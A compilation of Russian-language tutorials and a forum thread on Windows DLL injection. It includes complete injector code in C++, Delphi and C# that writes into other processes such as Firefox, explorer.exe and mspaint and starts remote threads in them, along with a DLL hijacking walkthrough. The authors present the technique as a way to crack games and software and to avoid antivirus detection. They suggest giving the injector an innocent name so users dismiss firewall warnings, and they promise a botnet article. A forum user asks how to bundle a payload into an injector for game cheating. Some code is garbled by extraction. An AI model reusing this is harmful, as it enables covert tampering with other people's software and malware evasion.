Внедрение своего кода в адресное пространство процессов
Внедрение своего кода( динамически ) в чужие процессы — штука достаточно интересная. Это может служить как во благо, так и во зло. Хотя, понятие «зло», местами, весьма абстрактно в информационном мире, я не могу провести точную границу между тем, что «плохо», а что «хорошо», тем более, если это касается внедрения кода…
В данной статье мы займемся созданием своего DLL инжектора. Что это такое, думаю, знают все. Такой способ внедрения стороннего кода достаточно популярен и удобен.
Писать DLL Injector мы будем на C++ в среде Microsoft Visual Studio 2010. Для создания динамически подключаемой библиотеки можно использовать любой инструмент, который вам по душе. Я же для создания библиотеки выбрал CodeGear RAD Studio 2009, язык Delphi( Object Pascal ).
Как же работает DLL Injection ?
Схема работы данного метода проста:
1) поиск и получение дескриптора нужного процесса
2) выделение памяти в процессе и последующая запись пути в DLL`ке по адресу, где произошло выделение памяти
3) создание нового потока в виртуальном пространстве процесса, дескриптор которого был получен.
Начнем с создания DLL.
Как я уже говорил, для этой цели будет использоваться язык Delphi:
Теперь добавим в DLL некоторые ресурсы, а именно — форму и кнопки для управления:
Сама DLL состоит лишь из нескольких строчек кода, которые будут отображать созданную форму. Также можно удалить все комментарии для более удобного визуального восприятия кода:
Теперь программируем интерфейс формы DLL. На форме есть две кнопки. Первая будет «убивать» родительский процесс( т.е процесс, в виртуальном пространстве которого был создан поток, в котором, в свою очередь, выполняется код DLL ). Вторая — рисовать 10 квадратов размером 25x25px в контексте всех окон приложения, принадлежащих процессу:
procedure TForm1.Button1Click(Sender: TObject); var _curr_process:DWORD; p_handle: THANDLE; begin // Убиваем родительский процесс _curr_process:=GetCurrentProcessId(); p_handle:=OpenProcess(PROCESS_ALL_ACCESS,false,_curr_process); TerminateProcess(p_handle,4); end; var dw:DWORD; // PID текущего процесса procedure drawGroup(h:HWND); var canvas:TBitMap; rect:TRect; x,y:integer; i: Integer; begin // рисуем 10 квадратов for i := 1 to 10 do begin canvas:=TBitMap.Create(); canvas.Canvas.Handle:=GetDC(h); // устанавливаем дескриптор контекста randomize; canvas.Canvas.Brush.Color:=rgb(random(255),random(255),random(255)); GetWindowRect(h,rect); x:=random(rect.Right-rect.Left-25); y:=random(rect.Bottom-rect.Top-25); canvas.Canvas.Rectangle(x,y,x+25,y+25); end; end; function func(h:HWND):BOOL; stdcall; var pid:DWORD; begin GetWindowThreadProcessId(h,pid); // запускаем функцию рисования в окне, если оно принадлежит нужному процессу: if(pid=dw) then drawGroup(h); result:=true; end; procedure TForm1.Button2Click(Sender: TObject); begin // Запускаем функцию рисования квадратов // ( в перечислителе окон системы ) dw:=GetCurrentProcessId(); EnumWindows(@func,0); // перечисляем окна end;
Исходный код интерфейсной части можно посмотреть здесь .
Тут все достаточно просто.
Итак, динамическая библиотека написана. Теперь компилируем ее и на выходе получаем скомпилированный файл с расширением «.dll», который можно переименовать для удобства. Я переименую библиотеку в «inj.dll».
Создание DLL завершено.
Осталось лишь скопировать нашу DLL`ку в системную директорию Windows, чтобы любое приложение могло отыскать её лишь по одному имени.
Переходим к разработке инжектора. Идем в Visual Studio и создаем Пустой проект( File->New->Project->Visual C++->General->Empty Project). Вся разработка будет производиться на «чистом» WinApi.
Первым делом создадим простейший визуальный интерфейс: форма, кнопка и текстовое поле. Выглядеть это будет примерно так:
Как видно, это приложение, обладающее минимальным дизайном и простейшим интерфейсом. В нем присутствуют два текстовых поля, предназначенных для ввода имени процесса( или его определенной части ), в который требуется произвести инжектирование DLL и для ввода имени самой DLL. Кнопка, соответственно, запускает процесс инжекта.
Для инжекта DLL в адресное пространство процессов понадобятся следующие WinApi функции:
Итак, обдумаем, как же, собственно организовать «умную» архитектуру приложения, которая была бы понятной и простой.
Я предлагаю начать с обработки щелка по кнопке 🙂
MSG msg; while (GetMessage(&msg,NULL,0,0)) < // Button Click if(msg.hwnd==button && msg.message==WM_LBUTTONUP) < // Getting Process Name GetWindowText(edit_proc,buff,sizeof(buff)); strncpy(_p_name,buff,BUFF); // Getting DLL Name ZeroMemory(buff,sizeof(buff)); GetWindowText(edit_dll,buff,BUFF); strncpy(_dll_name,buff,BUFF); // Start Injection StartInjection(); >
Ок, далее, переходим к реализации функции
StartInjection();
которая служит для поиска процесса по его имени:
int StartInjection() < // Searching of Process PROCESSENTRY32 pe; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(snapshot==INVALID_HANDLE_VALUE) < ShowMessage("SnapShot Failed."); return 0; >pe.dwSize = sizeof(PROCESSENTRY32); int curr = Process32First(snapshot,&pe); while(curr) < CharLowerBuff(pe.szExeFile,lstrlen(pe.szExeFile)); if(strstr(pe.szExeFile,_p_name)) curr = Process32Next(snapshot,&pe); > if(pid==NULL) < ShowMessage("Searching of process failed."); return 0; >bool result = Inject(); if(result==false) < ShowMessage("Injection failed."); return 0; >>
И, наконец, завершающая процесс инжектирования функция
// Injection bool Inject() < if(pid==NULL) return false; // Получение дескриптора процесса HANDLE process = OpenProcess(PROCESS_ALL_ACCESS,false,pid); if(process==NULL) return false; // "Вытягивание" функции из системной библиотеки для динамической // подгрузки DLL в адресное пространство открытого процесса LPVOID fp = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA"); if(fp==NULL) return false; // Выделение участка памяти размером strlen(_dll_name) для последующей // записи имени библеотеки в память процесса. LPVOID alloc = (LPVOID)VirtualAllocEx(process,0,strlen(_dll_name), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if(alloc==NULL) return false; // Запись имени инжектируемой DLL в память BOOL w = WriteProcessMemory(process,(LPVOID)alloc,_dll_name,strlen(_dll_name),0); if(w==NULL) return false; // Создание "удаленного" потока в адресном пространстве // открытого процесса и последующая подгрузка нашей DLL. HANDLE thread = CreateRemoteThread(process,0,0,(LPTHREAD_START_ROUTINE)fp,(LPVOID)alloc,0,0); if(thread==NULL) return false; CloseHandle(process); return true; >
Полный код инжектора можно посмотреть здесь.
Тестируем работоспособность инжектора:
Сначала инжектимся «сами в себя». При клике на кнопку «Draw» происходит рисование 10 квадратов. При клике на «Crash it!» происходит немедленное завершение «родительского» процесса. Теперь попробуем инжектиться во что-нибудь посерьезнее, например, в браузер Mozilla Firefox. Для этого необходимо поменять лишь имя процесса в первом текстовом поле и нажать на кнопку:
Как видно, инжект успешно удался. Квадраты рисуются во всех окнах, принадлежащих родительскому процессу браузера. При нажатии на кнопку «Crash it!» Mozilla FireFox немедленно закрывается.
Outro
Для чего нам это вообще нужно? Ведь наша основная цель — это взлом( игр, софта ). Так вот в дальнейшем мы, наверняка, будем использовать этот инжектор для внедрения своего кода в чужое адресное пространство. Благодаря этому можно сэкономить немало времени, сил и нервов 🙂
DLL Injection
DLL инъекция дает возможность выполнять свой код в адресном пространстве уже запущенного процесса. Многие используют инфицирования для написания читов для игр, выполнения вредоносных действий для системы и т.п. Но данный прием не обязательно применять для реализации коварных планов, а например, для обновления своего приложения.
Алгоритм работы очень просто, нам нужно создать поток в процессе и внедрить в него выполнения нашего кода. Для примера, мы инфицируем explorer.exe и выведем сообщение об этом.
Опишем структуру, через которую мы получим необходимые нам данные:
typedef FARPROC (WINAPI *LPMessageBox)(HWND, LPCWSTR, LPCWSTR, UINT);
typedef struct _InjectData char title[50];
char msg[50];
LPMessageBox MessageB;
> InjectData, *PInjectData;
Теперь опишем точку входа нашего потока:
static DWORD WINAPI InjectionMain(LPVOID lpParams)
PInjectData info = (PInjectData)lpParams;
info->MessageB(NULL, (LPCWSTR)info->msg, (LPCWSTR)info->title, MB_OK);
return 0;
>
В нашем примере она довольно таки проста. В нем мы не выполняем подгрузку DLL, хотя для большинства задач вам это может быть необходимо, для этого необходимо передать указатели на ф-ции LoadLibrary и GetProcAddress, также как мы это делам для MessageBoxA, и при помощи их подгружать необходимые вам DLL.
Теперь нам нужно получить доступ к explorer.exe, записать наш код, данные в адресном пространстве процесса и создать поток в процессе для выполнения нашего кода.
Опишем ф-цию которая возвращает идентификатор процесса:
DWORD getProcessID() DWORD processID = 0;
HANDLE snapHandle;
PROCESSENTRY32 processEntry = ;
if ( (snapHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE ) return 0;
>
processEntry.dwSize = sizeof (PROCESSENTRY32);
Process32First(snapHandle, &processEntry);
do if ( wcscmp(processEntry.szExeFile, PROCESSNAME) == 0 ) return processEntry.th32ProcessID;
>
> while (Process32Next(snapHandle,&processEntry));
if ( snapHandle != INVALID_HANDLE_VALUE ) CloseHandle(snapHandle);
>
CreateToolhelp32Snapshot — возвращает нам фактически список процессов и их потоков. Обходим весь список и если найден наш процесс, то возвращаем его идентификатор или 0. Теперь, когда у нас есть идентификатор, мы можем получить доступ к процессу при помощи OpenProcess, но не сможем ни чего записать в его память. Для того, что бы наше приложение получило права, нам понадобиться следующая ф-ция:
BOOL setPrivilege(HANDLE hToken, LPCTSTR szPrivName, BOOL fEnable) TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, szPrivName, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof (tp), NULL, NULL);
return ((GetLastError() == ERROR_SUCCESS));
>
Подробней о правах можете почитать здесь . Не смотря на то, что ответа за 1998 год он еще актуален для XP SP3 и насколько я знаю, для Windows 7, хотя лично еще не тестил.
Теперь у нас есть все для того, что бы получить доступ к процессу:
DWORD processID = getProcessID();
HANDLE hCurrentProc = GetCurrentProcess();
if (!OpenProcessToken(hCurrentProc, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) addLogMessage( «OpenProcessToken Error» , GetLastError());
return 0;
> else if (!setPrivilege(hToken, SE_DEBUG_NAME, TRUE)) addLogMessage( «SetPrivlegesSE_DEBUG_NAME Error» , GetLastError());
return 0;
>
>
if (processID == 0) MessageBox(NULL, _T( «Process not found!» ), _T( «Error» ), MB_OK | MB_ICONERROR);
return 0;
>
processHandel = OpenProcess(PROCESS_ALL_ACCESS, false , processID);
Нам не хватает указателя на ф-цию MessageBoxA, которая находиться в user32.dll:
HINSTANCE userHinstance = LoadLibrary(_T( «user32.dll» ));
injectData.MessageB = (LPMessageBox) GetProcAddress(userHinstance, «MessageBoxA» );
Ну что ж, перейдем теперь к самому интересному, собственно к инфицированию, запишем наш данный и код в память и создадим поток, который все это запустит. Для модифицирования памяти нам понадобиться две ф-ции: VirtualAllocEx и WriteProcessMemory.
LPVOID lpProc = VirtualAllocEx(processHandel, NULL, ProcSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
LPVOID lpParams = VirtualAllocEx(processHandel, NULL, 1024, MEM_COMMIT, PAGE_READWRITE );
DWORD dwWritten;
if (WriteProcessMemory(processHandel, lpProc, InjectionMain, ProcSize, &dwWritten ) == 0) addLogMessage( «WriteProcessMemory error» , GetLastError());
return 0;
>
if (WriteProcessMemory( processHandel, lpParams, &injectData, sizeof (injectData), &dwWritten ) == 0) addLogMessage( «WriteProcessMemory error» , GetLastError());
return 0;
>
VirtualAllocEx — предоставляет физическую память в виртуальном адресном пространстве процесса, а WriteProcessMemory записывает наши данные в память процесса.
Теперь создадим поток в процессе, который воплотит наш коварный план в жизнь:
DWORD ThreadID;
HANDLE hThread = CreateRemoteThread(processHandel, NULL, 0, (LPTHREAD_START_ROUTINE)lpProc, lpParams, 0, &ThreadID);
if (hThread == NULL) sprintf_s(buffer, «Error creating thread» );
addLogMessage(buffer, 1001);
>
Вот исходник для полной картинки, повторюсь, что я не тестил под Window 7, но уверен, что тоже должен работать. Правда интересно, как поведет себя их новый firewall, в Windows XP он не определил изменения памяти. Данному методу не страшны антивирусники, ее враг только firewall, так как они оповещают о попытках изменения памяти. Но как показывает практика, многие забивают на такие сообщения, если еще и имя приложению, которое инфицирует, дать нормальное, то даже продвинутые пользователи пропускают, если конечно firewall не стоит в паранойном режиме.
Статья DLL Injection
Привет господа форумчане. Давненько я не писал, но ничего страшного, скоро решатся пара бытовых проблем и выпуск статей нормализуется по 2 — 3 в неделю. А сегодня, мы поговорим немного не мало о технике DLL Инъекций и рассмотрим пару примеров.
Итак что такое DLL Инъекция?
Это тип атаки, который позволяет внедрять исполняемый код из DLL в процесс (исполняемую программу), что дает возможность выполнить код от имени пользователя под которым запущен процесс.
Рассмотрим 2 вида этой техники обычную DLL Injection и Dll Hijacking , а так же чем они отличаются.
DLL Injection
Как обычно в моем стиле, сразу к делу и на практике.
Задача: Заинжектить исполняемый код в программу Paint.
Для этого немного раскрою суть атаки.
Сначала мы ищем процесс, далее выделяем память для нашей DLL,
после чего загружаем её в новый поток внутри процесса, таким образом, инжектор выполнит код от имени пользователя программы.
Создаем DLL файл со следующим кодом.
#include extern "C" __declspec(dllexport) bool WINAPI DllMain(HINSTANCE hInstDll, DWORD fdwReason, LPVOID lpvReserved) < switch (fdwReason) < case DLL_PROCESS_ATTACH: < MessageBox(NULL, "DLL INJECTION", "SPECIAL FOR CODEBY", MB_OK); break; >case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; > return true; >
А далее напишем инжектор и разберем его по частям:
По сути основной смысл находится в этих двух методах
public static int inject(string dllPath, Process tProcess) < Process targetProcess = tProcess; // Получаем процесс куда инжектим string dllName = dllPath; // Имя дллки что инжектим IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); //открываем процесс для записи и чтения IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); // Получаем адрес процесса IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Выделяем память под новый тред UIntPtr bytesWritten; WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); // Пишем в новую область памяти CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero); // создаем поток в области памяти который запускает наш код return 0; >// Здесь же просто вызов метода инжект public static void Execute() < string rawDLL = String.Empty; if (is64BitOperatingSystem) < rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll"); >else < rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll"); >// Execution of injection Process proc = Process.GetCurrentProcess(); //GetProcessesByName("mspaint")[0]; Injection.inject(rawDLL, proc); isInjected = true; >
Полностью весь код, целиком:
using System; using System.Collections.Generic; using System.Text; using System.Threading; using System.Runtime.InteropServices; using System.Diagnostics; using System.IO; using System.Reflection; namespace alphabotcsharp < public class Injection < [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll", CharSet = CharSet.Auto)] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError = true)] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); // privileges const int PROCESS_CREATE_THREAD = 0x0002; const int PROCESS_QUERY_INFORMATION = 0x0400; const int PROCESS_VM_OPERATION = 0x0008; const int PROCESS_VM_WRITE = 0x0020; const int PROCESS_VM_READ = 0x0010; // used for memory allocation const uint MEM_COMMIT = 0x00001000; const uint MEM_RESERVE = 0x00002000; const uint PAGE_READWRITE = 4; public static bool isInjected = false; [DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.Winapi)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool IsWow64Process( [In] IntPtr hProcess, [Out] out bool wow64Process ); static bool is64BitProcess = (IntPtr.Size == 8); static bool is64BitOperatingSystem = is64BitProcess || InternalCheckIsWow64(); public static int inject(string dllPath, Process tProcess) < Process targetProcess = tProcess; string dllName = dllPath; IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); UIntPtr bytesWritten; WriteProcessMemory(procHandle, allocMemAddress, Encoding.Default.GetBytes(dllName), (uint)((dllName.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); CreateRemoteThread(procHandle, IntPtr.Zero, 0, loadLibraryAddr, allocMemAddress, 0, IntPtr.Zero); return 0; >public static void Execute() < string rawDLL = String.Empty; if (is64BitOperatingSystem) < rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll"); >else < rawDLL = Path.Combine(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location), "DLL.dll"); >// Execution of injection Process proc = Process.GetProcessesByName("mspaint")[0]; Injection.inject(rawDLL, proc); isInjected = true; > public static Boolean isInjectedAlready() < if (isInjected) < return true; >else < return false; >> public static bool InternalCheckIsWow64() < if ((Environment.OSVersion.Version.Major == 5 && Environment.OSVersion.Version.Minor >= 1) || Environment.OSVersion.Version.Major >= 6) < using (Process p = Process.GetCurrentProcess()) < bool retVal; if (!IsWow64Process(p.Handle, out retVal)) < return false; >return retVal; > > else < return false; >> > public class Program < public static void Main() < Injection.Execute(); >> >
Профит
DLL Hijacking
Это мы взглянули в целом на технику DLL Injection , а теперь же давайте посмотрим на DLL Hijacking .
Идея этой уязвимости заключается в особенности организации работы подхвата dll’ок. Совершенно логично, что в первую очередь при добавлении библиотеки, маперы ищут её в своей директории , и только потом в заданных настройках ОС. Таким образом мы получаем, что если мы знаем имя библиотеки, подгружаемой в утилиту, а так же существует собственно сама уязвимость dll hijacking’a, мы можем подложить нашу dll с нагрузкой в корень с утилитой.
Я перепишу код метода Main, который на на этот раз, будет архи простым, но дергать метод из другой dll библиотеки . Напишем же её.
using System.Windows.Forms; namespace DllValid < public class Validation < public void GetMessage() < MessageBox.Show("Я нормальная библиотека"); >> >
А вот код метода Main , когда мы подключим нашу библиотеку.
using DllValid; namespace alphabotcsharp < public class Program < public static void Main() < Validation message = new Validation(); message.GetMessage(); >> >
Убедимся, что всё работает.
Как мы видим, на этот раз, код оказался до боли простой, но метод ссылается на другой путь. Теперь возьмем dll из старого проекта и кинем в наш, переназвав его соответственно. Получаем ошибку о том, что не соотвествует манифест. Здесь нам поможет в исследовании утилитка dotPeek.
Загрузим в утилиту наш билд:
Как мы видим, утилита, с помощью радостей рефлексии, выдергивает манифесты сборки, классы, методы и многое другое. Однако если у нас не .Net приложение то можно использовать утилиту ProcessExplorer.exe, которая показывает сборки используемые в проекте. Понятное дело, что если мы перепишем dll с таким же namespace’om, именем класса и метода, то всё отработает.
Но это не интересно . Всё таки нам нужно вызвать наш метод, для этого вместо DllMain воспользуемся методом IClassFactory::CreateInstance
В результате перепишем метод DLLMain на CreateInstance и снова кладем её в нашу директорию с утилитой.
Профит: Хотя мы и получаем в результате ошибку, наш код всё равно выполняется, так как инстанс создается раньше, чем система проверяет манифест.
На этом всё, всем спасибо .
P.S. Те кто ждут статью про ботнет, обязательно дождутся, в следующей статье добавим еще две команды, отрефакторим весь предыдущий код и будем запускаться с повышенными привилегиями по запросу (а в некоторых случаях и без него).
Можно ли написать простой dll инжектор и заранее впихнуть инжектируемый файл в сам инжектор?
Вы используете устаревший браузер. Этот и другие сайты могут отображаться в нём некорректно.
Вам необходимо обновить браузер или попробовать использовать другой.
BigBon
Новичок
Автор темы
Нашёл код для простого инжектора. Планирую использовать для сампа
код инжектора:
#include #include #include #include DWORD GetProcessByName(char * process_name) < HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 process; DWORD proc_id = 0; if (Process32First(snapshot, &process)) < while (Process32Next(snapshot, &process)) < if (_stricmp(process.szExeFile, process_name) == 0) < proc_id = process.th32ProcessID; break; >> > CloseHandle(snapshot); return proc_id; > bool FileExist(char* name) < return _access(name, 0) != -1; >bool Inject(DWORD pID, char* path) < HANDLE proc_handle; LPVOID RemoteString; LPVOID LoadLibAddy; if (pID == 0) return false; proc_handle = OpenProcess(PROCESS_ALL_ACCESS, false, pID); if (proc_handle == 0) return false; LoadLibAddy = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); RemoteString = VirtualAllocEx(proc_handle, NULL, strlen(path), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(proc_handle, RemoteString, path, strlen(path), NULL); CreateRemoteThread(proc_handle, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddy, RemoteString, NULL, NULL); CloseHandle(proc_handle); return true; >int main() < char process_name[32]; char dll_name[32]; char path[256]; printf("Enter process name: "); scanf_s("%s", process_name); DWORD pID = GetProcessByName(process_name); printf("Waiting %s for start. \n", process_name); for (;; Sleep(50)) < if (pID == 0) pID = GetProcessByName(process_name); if (pID != 0) break; >printf("%s found (pid = %X)!\n", process_name, pID); while (FileExist(path) == false) < printf("Enter DLL Name: "); scanf_s("%s", dll_name); GetFullPathName (dll_name, sizeof(path), path, NULL); if (FileExist(path)) < printf("DLL found!\n"); break; >else printf("DLL not found\n"); > printf("Preparing DLL for injection. \n"); if (Inject(pID, path)) < printf("DLL succesfuly injected!\n"); system("PAUSE"); >else < printf("CRITICAL ERROR!\nDestroying window. \n"); Sleep(500); >>
Будет ли он работать в САМПЕ с .asi файлами? И смогу ли я скомпилировать всё вместе в .exe, чтобы на выходе и файл, и инжектор были в одной программе?
#Rin
Известный
Всефорумный модератор
Будет ли он работать в САМПЕ с .asi файлами?
ASI Loader загружает библиотеки автоматически, библиотеки могут рассчитывать что некоторый код нужно исполнить до того как игра полностью загрузится. Если твой инжектор загрузить некоторые библиотеки после того как игра полностью запустилась, то что-то может пойти не так.
И смогу ли я скомпилировать всё вместе в .exe, чтобы на выходе и файл, и инжектор были в одной программе?
Можно, динамичную библиотеку нужно будет поместить в ресурсы исполняемого файла или записать как массив байтов в коде. Если планируешь загружать библиотеку через стандартный функционал WinAPI, библиотеку потребуется в любом случае сохранить в виде файла, можно во временную папку. Если хочешь загружать без предварительного сохранения библиотеки в виде файла, потребуется загрузить ее особым способом, например через MemoryModule, но может потребоваться чтобы твоя библиотека была написана с учётом этого.
BigBon
Новичок
Автор темы
ASI Loader загружает библиотеки автоматически, библиотеки могут рассчитывать что некоторый код нужно исполнить до того как игра полностью загрузится. Если твой инжектор загрузить некоторые библиотеки после того как игра полностью запустилась, то что-то может пойти не так.
Можно, динамичную библиотеку нужно будет поместить в ресурсы исполняемого файла или записать как массив байтов в коде. Если планируешь загружать библиотеку через стандартный функционал WinAPI, библиотеку потребуется в любом случае сохранить в виде файла, можно во временную папку. Если хочешь загружать без предварительного сохранения библиотеки в виде файла, потребуется загрузить ее особым способом, например через MemoryModule, но может потребоваться чтобы твоя библиотека была написана с учётом этого.
А можно немного по подробнее, что мне нужно будет сделать с моей динамичной библиотекой .asi перед началом компиляции всего? Немного не понял про «предварительное сохранение в виде файла». Записывать как массив байтов в коде не очень хочется), а вот идея с помещением библиотеки в ресурсы исполняемого файла мне очень нравится, но как мне это провернуть я немного не в состоянии понять. С Visual Studio к сожалению обращаюсь на ВЫ. 🙂